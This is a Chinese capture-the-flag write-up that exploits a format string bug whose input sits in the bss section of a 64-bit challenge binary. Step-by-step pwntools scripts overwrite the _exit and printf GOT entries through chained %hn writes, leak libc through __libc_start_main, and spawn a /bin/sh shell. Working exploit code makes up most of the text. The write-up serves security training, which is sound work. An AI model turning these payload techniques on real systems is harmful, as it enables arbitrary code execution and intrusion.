悄悄话:
一直在学堆,好久没写栈了,看到个这个题目,真的感慨当初学了个啥,思路上秒了,但不知道怎么实现,真是没招了,只能找大佬要脚本,觉得是格式化字符漏洞中比较典型,又难搞的题目,这里就当一个复现,写了详细的wp,不知道理解的对不对,后续可能理一些知识点出来。

准备


64 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Please checkin first");
read(0, buf, 0x100u);
printf(buf);
_exit(0);
}

很明显的输入后,直接用 printf 输出输入内容,产生格式化字符串漏洞

思路

这题是非栈上的格式化字符串漏洞,但触发后程序直接退出,没有直接的连接点
解题思路:

  1. 修改 exit_gotmain 函数,可以多次利用格式化字符串漏洞
  2. 泄露出 libc 基址,得到 system
  3. 修改 printf_gotsystem 函数,最后输入 /bin/sh\x00 触发连接
    因为输入点是在 bss 段,不在栈上,没法直接获得偏移进行写入
    这里可以通过 printf 的参数进行写入
    gdb 调试一下
    通过输入大量的 %c 来查看 call printf@plt 处具体的参数情况

    可以在 arg[8] 处构造写入,填充是 6(rdx--arg[7])
    所以先写入 exit_got
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', log_level='debug', arch='amd64')
# io = remote('node5.buuoj.cn',27371)
io = process('/home/raider/pwn')
elf = ELF('/home/raider/pwn')
libc=ELF('/home/raider/libc.so.6')
gdb.attach(io,'b *0x40124F\nc')
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

exit_got = elf.got['_exit']
target1 = exit_got & 0xffff
main = 0x4011B6
target2 = main & 0xffff
log.success(xilker(f'target1-->{hex(target1)}'))
log.success(xilker(f'target2-->{hex(target2)}'))

payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode()
io.recvuntil(b"Please checkin first\n")
io.sendline(payload)

io.interactive()



再修改指向 main 函数

1
2
3
4
payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode()
payload += b'%c'*6+(f'%{(target2 - target1 - 6) % 0x10000}c%hn').encode()
io.recvuntil(b"Please checkin first\n")
io.sendline(payload)

这里 target1target2 小,所以要加一个取模操作

接下来是获得 libc 基址
在上面调试的时候,可以看到有一个 __libc_start_main+139 参数,可以通过这个泄露 libc 基址
先查看参数偏移

得到的数据是 27
但这里有一个小坑
添加截断后发送,发现 libc 基址读取错误

真正的偏移是 29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode()
payload += b'%c'*6+(f'%{(target2 - target1 - 6) % 0x10000}c%hn').encode()
io.recvuntil(b"Please checkin first\n")
io.sendline(payload)

io.recvuntil(b"Please checkin first\n")
io.sendline(b'%29$p\x00')

io.recvuntil(b'0x')
libc_start_main=int(io.recv(12),16)-139
log.success(xilker(f'libc_start_main-->{hex(libc_start_main)}'))

libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success(xilker(f'libc_base-->{hex(libc_base)}'))
system=libc_base+libc.sym['system']

然后修改 printf_gotsystem 函数
查看现在的参数情况


需要两个连续的地址,来依次写入 printf_got 的低地址和修改 printf_got 的低地址为 system 函数的低地址
可以利用 arg[12] 处写入 printf_got 的低地址,需要 10 个的填充(rdx 开始算个数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
io.recvuntil(b"Please checkin first\n")
io.sendline(b'%29$p\x00')

io.recvuntil(b'0x')
libc_start_main=int(io.recv(12),16)-139
log.success(xilker(f'libc_start_main-->{hex(libc_start_main)}'))

libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success(xilker(f'libc_base-->{hex(libc_base)}'))
system=libc_base+libc.sym['system']

printf_got = elf.got['printf']
tar1=printf_got & 0xffff
high = (system >> 16) & 0xffff
low = system & 0xffff

payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)



加上截断继续查看当前情况

1
2
3
4
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()+b'\x00'

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)


需要在第 8 个处写入 system 函数的低地址,考虑坑点和调试,得出需要 6 个填充

1
2
3
4
5
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()
payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode()

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)

同理的修改 printf_got 的高地址为 system 函数的高地址
选取连续的两个地址

同上偏移为 6

1
2
3
4
5
6
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()
payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode()
payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode()+b'\x00'

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)

前面已经修改了 printf_got 的两字节,所以这里是 printf_got+2

同上得到偏移 16

1
2
3
4
5
6
7
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()
payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode()
payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode()
payload2 += b"%c" * 16 + (f"%{(high-(printf_got + 2)-16)%0x10000}c%hn").encode()+b'\x00'

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)

这里 high-(printf_got + 2)-16 为负的影响写入,加一个取模操作

调试得到 printf_got 指向 system
最后一步发送 /bin/sh\x00 触发连接

1
2
3
4
5
6
7
8
9
10
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()
payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode()
payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode()
payload2 += b"%c" * 16 + (f"%{(high-(printf_got + 2)-16)%0x10000}c%hn").encode()+b'\x00'

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)

io.recvuntil(b"Please checkin first\n")
io.sendline(b'/bin/sh\x00')

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(os='linux', log_level='debug', arch='amd64')
# io = remote('node5.buuoj.cn',27371)
io = process('/home/raider/pwn')
elf = ELF('/home/raider/pwn')
libc=ELF('/home/raider/libc.so.6')
#gdb.attach(io,'b *0x40124F\nc')
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

exit_got = elf.got['_exit']
target1 = exit_got & 0xffff
main = 0x4011B6
target2 = main & 0xffff
log.success(xilker(f'target1-->{hex(target1)}'))
log.success(xilker(f'target2-->{hex(target2)}'))

payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode()
payload += b'%c'*6+(f'%{(target2 - target1 - 6) % 0x10000}c%hn').encode()
io.recvuntil(b"Please checkin first\n")
io.sendline(payload)

io.recvuntil(b"Please checkin first\n")
io.sendline(b'%29$p\x00')

io.recvuntil(b'0x')
libc_start_main=int(io.recv(12),16)-139
log.success(xilker(f'libc_start_main-->{hex(libc_start_main)}'))

libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success(xilker(f'libc_base-->{hex(libc_base)}'))
system=libc_base+libc.sym['system']

printf_got = elf.got['printf']
tar1=printf_got & 0xffff
high = (system >> 16) & 0xffff
low = system & 0xffff

log.success(xilker(f'tar1-->{hex(tar1)}'))
log.success(xilker(f'printf_got+2-->{hex(printf_got+2)}'))
log.success(xilker(f'high-->{hex(high)}'))
log.success(xilker(f'low-->{hex(low)}'))

payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()
payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode()
payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode()
payload2 += b"%c" * 16 + (f"%{(high-(printf_got + 2)-16)%0x10000}c%hn").encode()+b'\x00'

io.recvuntil(b"Please checkin first\n")
io.sendline(payload2)

io.recvuntil(b"Please checkin first\n")
io.sendline(b'/bin/sh\x00')
io.interactive()